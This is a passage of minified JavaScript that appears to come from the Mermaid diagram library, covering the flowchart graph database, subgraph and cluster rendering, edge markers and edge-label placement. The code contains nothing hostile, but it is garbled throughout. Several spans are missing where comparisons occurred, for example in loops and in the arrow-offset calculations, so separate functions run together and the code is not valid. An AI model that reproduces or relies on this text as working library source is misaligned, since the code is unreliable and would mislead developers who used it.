eturn tt.sanitizeText(e,this.config)}lookUpDomId(e){for(let r of this.vertices.values())if(r.id===e)return r.domId;return e}addVertex(e,r,n,i,a,s,l={},u){if(!e||e.trim().length===0)return;let h;if(u!==void 0){let m;u.includes(` +`)?m=u+` +`:m=`{ +`+u+` +}`,h=Kh(m,{schema:jh})}let f=this.edges.find(m=>m.id===e);if(f){let m=h;m?.animate!==void 0&&(f.animate=m.animate),m?.animation!==void 0&&(f.animation=m.animation),m?.curve!==void 0&&(f.interpolate=m.curve);return}let d,p=this.vertices.get(e);if(p===void 0&&(p={id:e,labelType:"text",domId:CRe+e+"-"+this.vertexCounter,styles:[],classes:[]},this.vertices.set(e,p)),this.vertexCounter++,r!==void 0?(this.config=ge(),d=this.sanitizeText(r.text.trim()),p.labelType=r.type,d.startsWith('"')&&d.endsWith('"')&&(d=d.substring(1,d.length-1)),p.text=d):p.text===void 0&&(p.text=e),n!==void 0&&(p.type=n),i?.forEach(m=>{p.styles.push(m)}),a?.forEach(m=>{p.classes.push(m)}),s!==void 0&&(p.dir=s),p.props===void 0?p.props=l:l!==void 0&&Object.assign(p.props,l),h!==void 0){if(h.shape){if(h.shape!==h.shape.toLowerCase()||h.shape.includes("_"))throw new Error(`No such shape: ${h.shape}. Shape names should be lowercase.`);if(!Pte(h.shape))throw new Error(`No such shape: ${h.shape}.`);p.type=h?.shape}h?.label&&(p.text=h?.label),h?.icon&&(p.icon=h?.icon,!h.label?.trim()&&p.text===e&&(p.text="")),h?.form&&(p.form=h?.form),h?.pos&&(p.pos=h?.pos),h?.img&&(p.img=h?.img,!h.label?.trim()&&p.text===e&&(p.text="")),h?.constraint&&(p.constraint=h.constraint),h.w&&(p.assetWidth=Number(h.w)),h.h&&(p.assetHeight=Number(h.h))}}addSingleLink(e,r,n,i){let l={start:e,end:r,type:void 0,text:"",labelType:"text",classes:[],isUserDefinedId:!1,interpolate:this.edges.defaultInterpolate};X.info("abc78 Got edge...",l);let u=n.text;if(u!==void 0&&(l.text=this.sanitizeText(u.text.trim()),l.text.startsWith('"')&&l.text.endsWith('"')&&(l.text=l.text.substring(1,l.text.length-1)),l.labelType=u.type),n!==void 0&&(l.type=n.type,l.stroke=n.stroke,l.length=n.length>10?10:n.length),i&&!this.edges.some(h=>h.id===i))l.id=i,l.isUserDefinedId=!0;else{let h=this.edges.filter(f=>f.start===l.start&&f.end===l.end);h.length===0?l.id=xc(l.start,l.end,{counter:0,prefix:"L"}):l.id=xc(l.start,l.end,{counter:h.length+1,prefix:"L"})}if(this.edges.length<(this.config.maxEdges??500))X.info("Pushing edge..."),this.edges.push(l);else throw new Error(`Edge limit exceeded. ${this.edges.length} edges found, but the limit is ${this.config.maxEdges}. + +Initialize mermaid with maxEdges set to a higher number to allow more edges. +You cannot set this config via configuration inside the diagram as it is a secure config. +You have to call mermaid.initialize.`)}isLinkData(e){return e!==null&&typeof e=="object"&&"id"in e&&typeof e.id=="string"}addLink(e,r,n){let i=this.isLinkData(n)?n.id.replace("@",""):void 0;X.info("addLink",e,r,i);for(let a of e)for(let s of r){let l=a===e[e.length-1],u=s===r[0];l&&u?this.addSingleLink(a,s,n,i):this.addSingleLink(a,s,n,void 0)}}updateLinkInterpolate(e,r){e.forEach(n=>{n==="default"?this.edges.defaultInterpolate=r:this.edges[n].interpolate=r})}updateLink(e,r){e.forEach(n=>{if(typeof n=="number"&&n>=this.edges.length)throw new Error(`The index ${n} for linkStyle is out of bounds. Valid indices for linkStyle are between 0 and ${this.edges.length-1}. (Help: Ensure that the index is within the range of existing edges.)`);n==="default"?this.edges.defaultStyle=r:(this.edges[n].style=r,(this.edges[n]?.style?.length??0)>0&&!this.edges[n]?.style?.some(i=>i?.startsWith("fill"))&&this.edges[n]?.style?.push("fill:none"))})}addClass(e,r){let n=r.join().replace(/\\,/g,"\xA7\xA7\xA7").replace(/,/g,";").replace(/§§§/g,",").split(";");e.split(",").forEach(i=>{let a=this.classes.get(i);a===void 0&&(a={id:i,styles:[],textStyles:[]},this.classes.set(i,a)),n?.forEach(s=>{if(/color/.exec(s)){let l=s.replace("fill","bgFill");a.textStyles.push(l)}a.styles.push(s)})})}setDirection(e){this.direction=e.trim(),/.*/.exec(this.direction)&&(this.direction="LR"),/.*v/.exec(this.direction)&&(this.direction="TB"),this.direction==="TD"&&(this.direction="TB")}setClass(e,r){for(let n of e.split(",")){let i=this.vertices.get(n);i&&i.classes.push(r);let a=this.edges.find(l=>l.id===n);a&&a.classes.push(r);let s=this.subGraphLookup.get(n);s&&s.classes.push(r)}}setTooltip(e,r){if(r!==void 0){r=this.sanitizeText(r);for(let n of e.split(","))this.tooltips.set(this.version==="gen-1"?this.lookUpDomId(n):n,r)}}setClickFun(e,r,n){let i=this.lookUpDomId(e);if(ge().securityLevel!=="loose"||r===void 0)return;let a=[];if(typeof n=="string"){a=n.split(/,(?=(?:(?:[^"]*"){2})*[^"]*$)/);for(let l=0;l{let l=document.querySelector(`[id="${i}"]`);l!==null&&l.addEventListener("click",()=>{qt.runFunc(r,...a)},!1)}))}setLink(e,r,n){e.split(",").forEach(i=>{let a=this.vertices.get(i);a!==void 0&&(a.link=qt.formatUrl(r,this.config),a.linkTarget=n)}),this.setClass(e,"clickable")}getTooltip(e){return this.tooltips.get(e)}setClickEvent(e,r,n){e.split(",").forEach(i=>{this.setClickFun(i,r,n)}),this.setClass(e,"clickable")}bindFunctions(e){this.funs.forEach(r=>{r(e)})}getDirection(){return this.direction?.trim()}getVertices(){return this.vertices}getEdges(){return this.edges}getClasses(){return this.classes}setupToolTips(e){let r=qe(".mermaidTooltip");(r._groups||r)[0][0]===null&&(r=qe("body").append("div").attr("class","mermaidTooltip").style("opacity",0)),qe(e).select("svg").selectAll("g.node").on("mouseover",a=>{let s=qe(a.currentTarget);if(s.attr("title")===null)return;let u=a.currentTarget?.getBoundingClientRect();r.transition().duration(200).style("opacity",".9"),r.text(s.attr("title")).style("left",window.scrollX+u.left+(u.right-u.left)/2+"px").style("top",window.scrollY+u.bottom+"px"),r.html(r.html().replace(/<br\/>/g,"
    ")),s.classed("hover",!0)}).on("mouseout",a=>{r.transition().duration(500).style("opacity",0),qe(a.currentTarget).classed("hover",!1)})}clear(e="gen-2"){this.vertices=new Map,this.classes=new Map,this.edges=[],this.funs=[this.setupToolTips.bind(this)],this.subGraphs=[],this.subGraphLookup=new Map,this.subCount=0,this.tooltips=new Map,this.firstGraphFlag=!0,this.version=e,this.config=ge(),Sr()}setGen(e){this.version=e||"gen-2"}defaultStyle(){return"fill:#ffa;stroke: #f66; stroke-width: 3px; stroke-dasharray: 5, 5;fill:#ffa;stroke: #666;"}addSubGraph(e,r,n){let i=e.text.trim(),a=n.text;e===n&&/\s/.exec(n.text)&&(i=void 0);let l=o(p=>{let m={boolean:{},number:{},string:{}},g=[],y;return{nodeList:p.filter(function(x){let b=typeof x;return x.stmt&&x.stmt==="dir"?(y=x.value,!1):x.trim()===""?!1:b in m?m[b].hasOwnProperty(x)?!1:m[b][x]=!0:g.includes(x)?!1:g.push(x)}),dir:y}},"uniq")(r.flat()),u=l.nodeList,h=l.dir,f=ge().flowchart??{};if(h=h??(f.inheritDir?this.getDirection()??ge().direction??void 0:void 0),this.version==="gen-1")for(let p=0;p2e3)return{result:!1,count:0};if(this.posCrossRef[this.secCount]=r,this.subGraphs[r].id===e)return{result:!0,count:0};let i=0,a=1;for(;i=0){let l=this.indexNodes2(e,s);if(l.result)return{result:!0,count:a+l.count};a=a+l.count}i=i+1}return{result:!1,count:a}}getDepthFirstPos(e){return this.posCrossRef[e]}indexNodes(){this.secCount=-1,this.subGraphs.length>0&&this.indexNodes2("none",this.subGraphs.length-1)}getSubGraphs(){return this.subGraphs}firstGraph(){return this.firstGraphFlag?(this.firstGraphFlag=!1,!0):!1}destructStartLink(e){let r=e.trim(),n="arrow_open";switch(r[0]){case"<":n="arrow_point",r=r.slice(1);break;case"x":n="arrow_cross",r=r.slice(1);break;case"o":n="arrow_circle",r=r.slice(1);break}let i="normal";return r.includes("=")&&(i="thick"),r.includes(".")&&(i="dotted"),{type:n,stroke:i}}countChar(e,r){let n=r.length,i=0;for(let a=0;a":i="arrow_point",r.startsWith("<")&&(i="double_"+i,n=n.slice(1));break;case"o":i="arrow_circle",r.startsWith("o")&&(i="double_"+i,n=n.slice(1));break}let a="normal",s=n.length-1;n.startsWith("=")&&(a="thick"),n.startsWith("~")&&(a="invisible");let l=this.countChar(".",n);return l&&(a="dotted",s=l),{type:i,stroke:a,length:s}}destructLink(e,r){let n=this.destructEndLink(e),i;if(r){if(i=this.destructStartLink(r),i.stroke!==n.stroke)return{type:"INVALID",stroke:"INVALID"};if(i.type==="arrow_open")i.type=n.type;else{if(i.type!==n.type)return{type:"INVALID",stroke:"INVALID"};i.type="double_"+i.type}return i.type==="double_arrow"&&(i.type="double_arrow_point"),i.length=n.length,i}return n}exists(e,r){for(let n of e)if(n.nodes.includes(r))return!0;return!1}makeUniq(e,r){let n=[];return e.nodes.forEach((i,a)=>{this.exists(r,i)||n.push(e.nodes[a])}),{nodes:n}}getTypeFromVertex(e){if(e.img)return"imageSquare";if(e.icon)return e.form==="circle"?"iconCircle":e.form==="square"?"iconSquare":e.form==="rounded"?"iconRounded":"icon";switch(e.type){case"square":case void 0:return"squareRect";case"round":return"roundedRect";case"ellipse":return"ellipse";default:return e.type}}findNode(e,r){return e.find(n=>n.id===r)}destructEdgeType(e){let r="none",n="arrow_point";switch(e){case"arrow_point":case"arrow_circle":case"arrow_cross":n=e;break;case"double_arrow_point":case"double_arrow_circle":case"double_arrow_cross":r=e.replace("double_",""),n=r;break}return{arrowTypeStart:r,arrowTypeEnd:n}}addNodeFromVertex(e,r,n,i,a,s){let l=n.get(e.id),u=i.get(e.id)??!1,h=this.findNode(r,e.id);if(h)h.cssStyles=e.styles,h.cssCompiledStyles=this.getCompiledStyles(e.classes),h.cssClasses=e.classes.join(" ");else{let f={id:e.id,label:e.text,labelStyle:"",parentId:l,padding:a.flowchart?.padding||8,cssStyles:e.styles,cssCompiledStyles:this.getCompiledStyles(["default","node",...e.classes]),cssClasses:"default "+e.classes.join(" "),dir:e.dir,domId:e.domId,look:s,link:e.link,linkTarget:e.linkTarget,tooltip:this.getTooltip(e.id),icon:e.icon,pos:e.pos,img:e.img,assetWidth:e.assetWidth,assetHeight:e.assetHeight,constraint:e.constraint};u?r.push({...f,isGroup:!0,shape:"rect"}):r.push({...f,isGroup:!1,shape:this.getTypeFromVertex(e)})}}getCompiledStyles(e){let r=[];for(let n of e){let i=this.classes.get(n);i?.styles&&(r=[...r,...i.styles??[]].map(a=>a.trim())),i?.textStyles&&(r=[...r,...i.textStyles??[]].map(a=>a.trim()))}return r}getData(){let e=ge(),r=[],n=[],i=this.getSubGraphs(),a=new Map,s=new Map;for(let h=i.length-1;h>=0;h--){let f=i[h];f.nodes.length>0&&s.set(f.id,!0);for(let d of f.nodes)a.set(d,f.id)}for(let h=i.length-1;h>=0;h--){let f=i[h];r.push({id:f.id,label:f.title,labelStyle:"",parentId:a.get(f.id),padding:8,cssCompiledStyles:this.getCompiledStyles(f.classes),cssClasses:f.classes.join(" "),shape:"rect",dir:f.dir,isGroup:!0,look:e.look})}this.getVertices().forEach(h=>{this.addNodeFromVertex(h,r,a,s,e,e.look||"classic")});let u=this.getEdges();return u.forEach((h,f)=>{let{arrowTypeStart:d,arrowTypeEnd:p}=this.destructEdgeType(h.type),m=[...u.defaultStyle??[]];h.style&&m.push(...h.style);let g={id:xc(h.start,h.end,{counter:f,prefix:"L"},h.id),isUserDefinedId:h.isUserDefinedId,start:h.start,end:h.end,type:h.type??"normal",label:h.text,labelpos:"c",thickness:h.stroke,minlen:h.length,classes:h?.stroke==="invisible"?"":"edge-thickness-normal edge-pattern-solid flowchart-link",arrowTypeStart:h?.stroke==="invisible"||h?.type==="arrow_open"?"none":d,arrowTypeEnd:h?.stroke==="invisible"||h?.type==="arrow_open"?"none":p,arrowheadStyle:"fill: #333",cssCompiledStyles:this.getCompiledStyles(h.classes),labelStyle:m,style:m,pattern:h.stroke,look:e.look,animate:h.animate,animation:h.animation,curve:h.interpolate||this.edges.defaultInterpolate||e.flowchart?.curve};n.push(g)}),{nodes:r,edges:n,other:{},config:e}}defaultConfig(){return G3.flowchart}}});var Vo,ep=N(()=>{"use strict";yr();Vo=o((t,e)=>{let r;return e==="sandbox"&&(r=qe("#i"+t)),(e==="sandbox"?qe(r.nodes()[0].contentDocument.body):qe("body")).select(`[id="${t}"]`)},"getDiagramElement")});var Pu,O2=N(()=>{"use strict";Pu=o(({flowchart:t})=>{let e=t?.subGraphTitleMargin?.top??0,r=t?.subGraphTitleMargin?.bottom??0,n=e+r;return{subGraphTitleTopMargin:e,subGraphTitleBottomMargin:r,subGraphTitleTotalMargin:n}},"getSubGraphTitleMargins")});var Fte,ARe,_Re,DRe,LRe,RRe,NRe,$te,Sm,zte,cw=N(()=>{"use strict";Xt();gr();pt();O2();yr();Ht();zo();S9();aw();Zd();$t();Fte=o(async(t,e)=>{X.info("Creating subgraph rect for ",e.id,e);let r=ge(),{themeVariables:n,handDrawnSeed:i}=r,{clusterBkg:a,clusterBorder:s}=n,{labelStyles:l,nodeStyles:u,borderStyles:h,backgroundStyles:f}=je(e),d=t.insert("g").attr("class","cluster "+e.cssClasses).attr("id",e.id).attr("data-look",e.look),p=vr(r.flowchart.htmlLabels),m=d.insert("g").attr("class","cluster-label "),g=await di(m,e.label,{style:e.labelStyle,useHtmlLabels:p,isNode:!0}),y=g.getBBox();if(vr(r.flowchart.htmlLabels)){let A=g.children[0],C=qe(g);y=A.getBoundingClientRect(),C.attr("width",y.width),C.attr("height",y.height)}let v=e.width<=y.width+e.padding?y.width+e.padding:e.width;e.width<=y.width+e.padding?e.diff=(v-e.width)/2-e.padding:e.diff=-e.padding;let x=e.height,b=e.x-v/2,T=e.y-x/2;X.trace("Data ",e,JSON.stringify(e));let S;if(e.look==="handDrawn"){let A=Ze.svg(d),C=Je(e,{roughness:.7,fill:a,stroke:s,fillWeight:3,seed:i}),R=A.path(Fs(b,T,v,x,0),C);S=d.insert(()=>(X.debug("Rough node insert CXC",R),R),":first-child"),S.select("path:nth-child(2)").attr("style",h.join(";")),S.select("path").attr("style",f.join(";").replace("fill","stroke"))}else S=d.insert("rect",":first-child"),S.attr("style",u).attr("rx",e.rx).attr("ry",e.ry).attr("x",b).attr("y",T).attr("width",v).attr("height",x);let{subGraphTitleTopMargin:w}=Pu(r);if(m.attr("transform",`translate(${e.x-y.width/2}, ${e.y-e.height/2+w})`),l){let A=m.select("span");A&&A.attr("style",l)}let k=S.node().getBBox();return e.offsetX=0,e.width=k.width,e.height=k.height,e.offsetY=y.height-e.padding/2,e.intersect=function(A){return Qh(e,A)},{cluster:d,labelBBox:y}},"rect"),ARe=o((t,e)=>{let r=t.insert("g").attr("class","note-cluster").attr("id",e.id),n=r.insert("rect",":first-child"),i=0*e.padding,a=i/2;n.attr("rx",e.rx).attr("ry",e.ry).attr("x",e.x-e.width/2-a).attr("y",e.y-e.height/2-a).attr("width",e.width+i).attr("height",e.height+i).attr("fill","none");let s=n.node().getBBox();return e.width=s.width,e.height=s.height,e.intersect=function(l){return Qh(e,l)},{cluster:r,labelBBox:{width:0,height:0}}},"noteGroup"),_Re=o(async(t,e)=>{let r=ge(),{themeVariables:n,handDrawnSeed:i}=r,{altBackground:a,compositeBackground:s,compositeTitleBackground:l,nodeBorder:u}=n,h=t.insert("g").attr("class",e.cssClasses).attr("id",e.id).attr("data-id",e.id).attr("data-look",e.look),f=h.insert("g",":first-child"),d=h.insert("g").attr("class","cluster-label"),p=h.append("rect"),m=d.node().appendChild(await kc(e.label,e.labelStyle,void 0,!0)),g=m.getBBox();if(vr(r.flowchart.htmlLabels)){let R=m.children[0],I=qe(m);g=R.getBoundingClientRect(),I.attr("width",g.width),I.attr("height",g.height)}let y=0*e.padding,v=y/2,x=(e.width<=g.width+e.padding?g.width+e.padding:e.width)+y;e.width<=g.width+e.padding?e.diff=(x-e.width)/2-e.padding:e.diff=-e.padding;let b=e.height+y,T=e.height+y-g.height-6,S=e.x-x/2,w=e.y-b/2;e.width=x;let k=e.y-e.height/2-v+g.height+2,A;if(e.look==="handDrawn"){let R=e.cssClasses.includes("statediagram-cluster-alt"),I=Ze.svg(h),L=e.rx||e.ry?I.path(Fs(S,w,x,b,10),{roughness:.7,fill:l,fillStyle:"solid",stroke:u,seed:i}):I.rectangle(S,w,x,b,{seed:i});A=h.insert(()=>L,":first-child");let E=I.rectangle(S,k,x,T,{fill:R?a:s,fillStyle:R?"hachure":"solid",stroke:u,seed:i});A=h.insert(()=>L,":first-child"),p=h.insert(()=>E)}else A=f.insert("rect",":first-child"),A.attr("class","outer").attr("x",S).attr("y",w).attr("width",x).attr("height",b).attr("data-look",e.look),p.attr("class","inner").attr("x",S).attr("y",k).attr("width",x).attr("height",T);d.attr("transform",`translate(${e.x-g.width/2}, ${w+1-(vr(r.flowchart.htmlLabels)?0:3)})`);let C=A.node().getBBox();return e.height=C.height,e.offsetX=0,e.offsetY=g.height-e.padding/2,e.labelBBox=g,e.intersect=function(R){return Qh(e,R)},{cluster:h,labelBBox:g}},"roundedWithTitle"),DRe=o(async(t,e)=>{X.info("Creating subgraph rect for ",e.id,e);let r=ge(),{themeVariables:n,handDrawnSeed:i}=r,{clusterBkg:a,clusterBorder:s}=n,{labelStyles:l,nodeStyles:u,borderStyles:h,backgroundStyles:f}=je(e),d=t.insert("g").attr("class","cluster "+e.cssClasses).attr("id",e.id).attr("data-look",e.look),p=vr(r.flowchart.htmlLabels),m=d.insert("g").attr("class","cluster-label "),g=await di(m,e.label,{style:e.labelStyle,useHtmlLabels:p,isNode:!0,width:e.width}),y=g.getBBox();if(vr(r.flowchart.htmlLabels)){let A=g.children[0],C=qe(g);y=A.getBoundingClientRect(),C.attr("width",y.width),C.attr("height",y.height)}let v=e.width<=y.width+e.padding?y.width+e.padding:e.width;e.width<=y.width+e.padding?e.diff=(v-e.width)/2-e.padding:e.diff=-e.padding;let x=e.height,b=e.x-v/2,T=e.y-x/2;X.trace("Data ",e,JSON.stringify(e));let S;if(e.look==="handDrawn"){let A=Ze.svg(d),C=Je(e,{roughness:.7,fill:a,stroke:s,fillWeight:4,seed:i}),R=A.path(Fs(b,T,v,x,e.rx),C);S=d.insert(()=>(X.debug("Rough node insert CXC",R),R),":first-child"),S.select("path:nth-child(2)").attr("style",h.join(";")),S.select("path").attr("style",f.join(";").replace("fill","stroke"))}else S=d.insert("rect",":first-child"),S.attr("style",u).attr("rx",e.rx).attr("ry",e.ry).attr("x",b).attr("y",T).attr("width",v).attr("height",x);let{subGraphTitleTopMargin:w}=Pu(r);if(m.attr("transform",`translate(${e.x-y.width/2}, ${e.y-e.height/2+w})`),l){let A=m.select("span");A&&A.attr("style",l)}let k=S.node().getBBox();return e.offsetX=0,e.width=k.width,e.height=k.height,e.offsetY=y.height-e.padding/2,e.intersect=function(A){return Qh(e,A)},{cluster:d,labelBBox:y}},"kanbanSection"),LRe=o((t,e)=>{let r=ge(),{themeVariables:n,handDrawnSeed:i}=r,{nodeBorder:a}=n,s=t.insert("g").attr("class",e.cssClasses).attr("id",e.id).attr("data-look",e.look),l=s.insert("g",":first-child"),u=0*e.padding,h=e.width+u;e.diff=-e.padding;let f=e.height+u,d=e.x-h/2,p=e.y-f/2;e.width=h;let m;if(e.look==="handDrawn"){let v=Ze.svg(s).rectangle(d,p,h,f,{fill:"lightgrey",roughness:.5,strokeLineDash:[5],stroke:a,seed:i});m=s.insert(()=>v,":first-child")}else m=l.insert("rect",":first-child"),m.attr("class","divider").attr("x",d).attr("y",p).attr("width",h).attr("height",f).attr("data-look",e.look);let g=m.node().getBBox();return e.height=g.height,e.offsetX=0,e.offsetY=0,e.intersect=function(y){return Qh(e,y)},{cluster:s,labelBBox:{}}},"divider"),RRe=Fte,NRe={rect:Fte,squareRect:RRe,roundedWithTitle:_Re,noteGroup:ARe,divider:LRe,kanbanSection:DRe},$te=new Map,Sm=o(async(t,e)=>{let r=e.shape||"rect",n=await NRe[r](t,e);return $te.set(e.id,n),n},"insertCluster"),zte=o(()=>{$te=new Map},"clear")});function uw(t,e){if(t===void 0||e===void 0)return{angle:0,deltaX:0,deltaY:0};t=Xn(t),e=Xn(e);let[r,n]=[t.x,t.y],[i,a]=[e.x,e.y],s=i-r,l=a-n;return{angle:Math.atan(l/s),deltaX:s,deltaY:l}}var fa,Y9,Xn,hw,X9=N(()=>{"use strict";fa={aggregation:17.25,extension:17.25,composition:17.25,dependency:6,lollipop:13.5,arrow_point:4},Y9={arrow_point:9,arrow_cross:12.5,arrow_circle:12.5};o(uw,"calculateDeltaAndAngle");Xn=o(t=>Array.isArray(t)?{x:t[0],y:t[1]}:t,"pointTransformer"),hw=o(t=>({x:o(function(e,r,n){let i=0,a=Xn(n[0]).x=0?1:-1)}else if(r===n.length-1&&Object.hasOwn(fa,t.arrowTypeEnd)){let{angle:m,deltaX:g}=uw(n[n.length-1],n[n.length-2]);i=fa[t.arrowTypeEnd]*Math.cos(m)*(g>=0?1:-1)}let s=Math.abs(Xn(e).x-Xn(n[n.length-1]).x),l=Math.abs(Xn(e).y-Xn(n[n.length-1]).y),u=Math.abs(Xn(e).x-Xn(n[0]).x),h=Math.abs(Xn(e).y-Xn(n[0]).y),f=fa[t.arrowTypeStart],d=fa[t.arrowTypeEnd],p=1;if(s0&&l0&&h=0?1:-1)}else if(r===n.length-1&&Object.hasOwn(fa,t.arrowTypeEnd)){let{angle:m,deltaY:g}=uw(n[n.length-1],n[n.length-2]);i=fa[t.arrowTypeEnd]*Math.abs(Math.sin(m))*(g>=0?1:-1)}let s=Math.abs(Xn(e).y-Xn(n[n.length-1]).y),l=Math.abs(Xn(e).x-Xn(n[n.length-1]).x),u=Math.abs(Xn(e).y-Xn(n[0]).y),h=Math.abs(Xn(e).x-Xn(n[0]).x),f=fa[t.arrowTypeStart],d=fa[t.arrowTypeEnd],p=1;if(s0&&l0&&h{"use strict";pt();Vte=o((t,e,r,n,i,a)=>{e.arrowTypeStart&&Gte(t,"start",e.arrowTypeStart,r,n,i,a),e.arrowTypeEnd&&Gte(t,"end",e.arrowTypeEnd,r,n,i,a)},"addEdgeMarkers"),MRe={arrow_cross:{type:"cross",fill:!1},arrow_point:{type:"point",fill:!0},arrow_barb:{type:"barb",fill:!0},arrow_circle:{type:"circle",fill:!1},aggregation:{type:"aggregation",fill:!1},extension:{type:"extension",fill:!1},composition:{type:"composition",fill:!0},dependency:{type:"dependency",fill:!0},lollipop:{type:"lollipop",fill:!1},only_one:{type:"onlyOne",fill:!1},zero_or_one:{type:"zeroOrOne",fill:!1},one_or_more:{type:"oneOrMore",fill:!1},zero_or_more:{type:"zeroOrMore",fill:!1},requirement_arrow:{type:"requirement_arrow",fill:!1},requirement_contains:{type:"requirement_contains",fill:!1}},Gte=o((t,e,r,n,i,a,s)=>{let l=MRe[r];if(!l){X.warn(`Unknown arrow type: ${r}`);return}let u=l.type,f=`${i}_${a}-${u}${e==="start"?"Start":"End"}`;if(s&&s.trim()!==""){let d=s.replace(/[^\dA-Za-z]/g,"_"),p=`${f}_${d}`;if(!document.getElementById(p)){let m=document.getElementById(f);if(m){let g=m.cloneNode(!0);g.id=p,g.querySelectorAll("path, circle, line").forEach(v=>{v.setAttribute("stroke",s),l.fill&&v.setAttribute("fill",s)}),m.parentNode?.appendChild(g)}}t.attr(`marker-${e}`,`url(${n}#${p})`)}else t.attr(`marker-${e}`,`url(${n}#${f})`)},"addEdgeMarker")});function dw(t,e){ge().flowchart.htmlLabels&&t&&(t.style.width=e.length*9+"px",t.style.height="12px")}function PRe(t){let e=[],r=[];for(let n=1;n5&&Math.abs(a.y-i.y)>5||i.y===a.y&&a.x===s.x&&Math.abs(a.x-i.x)>5&&Math.abs(a.y-s.y)>5)&&(e.push(a),r.push(n))}return{cornerPoints:e,cornerPointPositions:r}}function $Re(t,e){if(t.length<2)return"";let r="",n=t.length,i=1e-5;for(let a=0;a({...i}));if(t.length>=2&&fa[e.arrowTypeStart]){let i=fa[e.arrowTypeStart],a=t[0],s=t[1],{angle:l}=Wte(a,s),u=i*Math.cos(l),h=i*Math.sin(l);r[0].x=a.x+u,r[0].y=a.y+h}let n=t.length;if(n>=2&&fa[e.arrowTypeEnd]){let i=fa[e.arrowTypeEnd],a=t[n-1],s=t[n-2],{angle:l}=Wte(s,a),u=i*Math.cos(l),h=i*Math.sin(l);r[n-1].x=a.x-u,r[n-1].y=a.y-h}return r}var pw,da,Yte,fw,mw,gw,IRe,ORe,Hte,qte,BRe,FRe,yw,j9=N(()=>{"use strict";Xt();gr();pt();zo();tr();X9();O2();yr();Ht();aw();Ute();$t();pw=new Map,da=new Map,Yte=o(()=>{pw.clear(),da.clear()},"clear"),fw=o(t=>t?t.reduce((r,n)=>r+";"+n,""):"","getLabelStyles"),mw=o(async(t,e)=>{let r=vr(ge().flowchart.htmlLabels),{labelStyles:n}=je(e);e.labelStyle=n;let i=await di(t,e.label,{style:e.labelStyle,useHtmlLabels:r,addSvgBackground:!0,isNode:!1});X.info("abc82",e,e.labelType);let a=t.insert("g").attr("class","edgeLabel"),s=a.insert("g").attr("class","label").attr("data-id",e.id);s.node().appendChild(i);let l=i.getBBox();if(r){let h=i.children[0],f=qe(i);l=h.getBoundingClientRect(),f.attr("width",l.width),f.attr("height",l.height)}s.attr("transform","translate("+-l.width/2+", "+-l.height/2+")"),pw.set(e.id,a),e.width=l.width,e.height=l.height;let u;if(e.startLabelLeft){let h=await kc(e.startLabelLeft,fw(e.labelStyle)),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),da.get(e.id)||da.set(e.id,{}),da.get(e.id).startLeft=f,dw(u,e.startLabelLeft)}if(e.startLabelRight){let h=await kc(e.startLabelRight,fw(e.labelStyle)),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=f.node().appendChild(h),d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),da.get(e.id)||da.set(e.id,{}),da.get(e.id).startRight=f,dw(u,e.startLabelRight)}if(e.endLabelLeft){let h=await kc(e.endLabelLeft,fw(e.labelStyle)),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),f.node().appendChild(h),da.get(e.id)||da.set(e.id,{}),da.get(e.id).endLeft=f,dw(u,e.endLabelLeft)}if(e.endLabelRight){let h=await kc(e.endLabelRight,fw(e.labelStyle)),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),f.node().appendChild(h),da.get(e.id)||da.set(e.id,{}),da.get(e.id).endRight=f,dw(u,e.endLabelRight)}return i},"insertEdgeLabel");o(dw,"setTerminalWidth");gw=o((t,e)=>{X.debug("Moving label abc88 ",t.id,t.label,pw.get(t.id),e);let r=e.updatedPath?e.updatedPath:e.originalPath,n=ge(),{subGraphTitleTotalMargin:i}=Pu(n);if(t.label){let a=pw.get(t.id),s=t.x,l=t.y;if(r){let u=qt.calcLabelPosition(r);X.debug("Moving label "+t.label+" from (",s,",",l,") to (",u.x,",",u.y,") abc88"),e.updatedPath&&(s=u.x,l=u.y)}a.attr("transform",`translate(${s}, ${l+i/2})`)}if(t.startLabelLeft){let a=da.get(t.id).startLeft,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeStart?10:0,"start_left",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}if(t.startLabelRight){let a=da.get(t.id).startRight,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeStart?10:0,"start_right",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}if(t.endLabelLeft){let a=da.get(t.id).endLeft,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeEnd?10:0,"end_left",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}if(t.endLabelRight){let a=da.get(t.id).endRight,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeEnd?10:0,"end_right",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}},"positionEdgeLabel"),IRe=o((t,e)=>{let r=t.x,n=t.y,i=Math.abs(e.x-r),a=Math.abs(e.y-n),s=t.width/2,l=t.height/2;return i>=s||a>=l},"outsideNode"),ORe=o((t,e,r)=>{X.debug(`intersection calc abc89: + outsidePoint: ${JSON.stringify(e)} + insidePoint : ${JSON.stringify(r)} + node : x:${t.x} y:${t.y} w:${t.width} h:${t.height}`);let n=t.x,i=t.y,a=Math.abs(n-r.x),s=t.width/2,l=r.xMath.abs(n-e.x)*u){let d=r.y{X.warn("abc88 cutPathAtIntersect",t,e);let r=[],n=t[0],i=!1;return t.forEach(a=>{if(X.info("abc88 checking point",a,e),!IRe(e,a)&&!i){let s=ORe(e,n,a);X.debug("abc88 inside",a,n,s),X.debug("abc88 intersection",s,e);let l=!1;r.forEach(u=>{l=l||u.x===s.x&&u.y===s.y}),r.some(u=>u.x===s.x&&u.y===s.y)?X.warn("abc88 no intersect",s,r):r.push(s),i=!0}else X.warn("abc88 outside",a,n),n=a,i||r.push(a)}),X.debug("returning points",r),r},"cutPathAtIntersect");o(PRe,"extractCornerPoints");qte=o(function(t,e,r){let 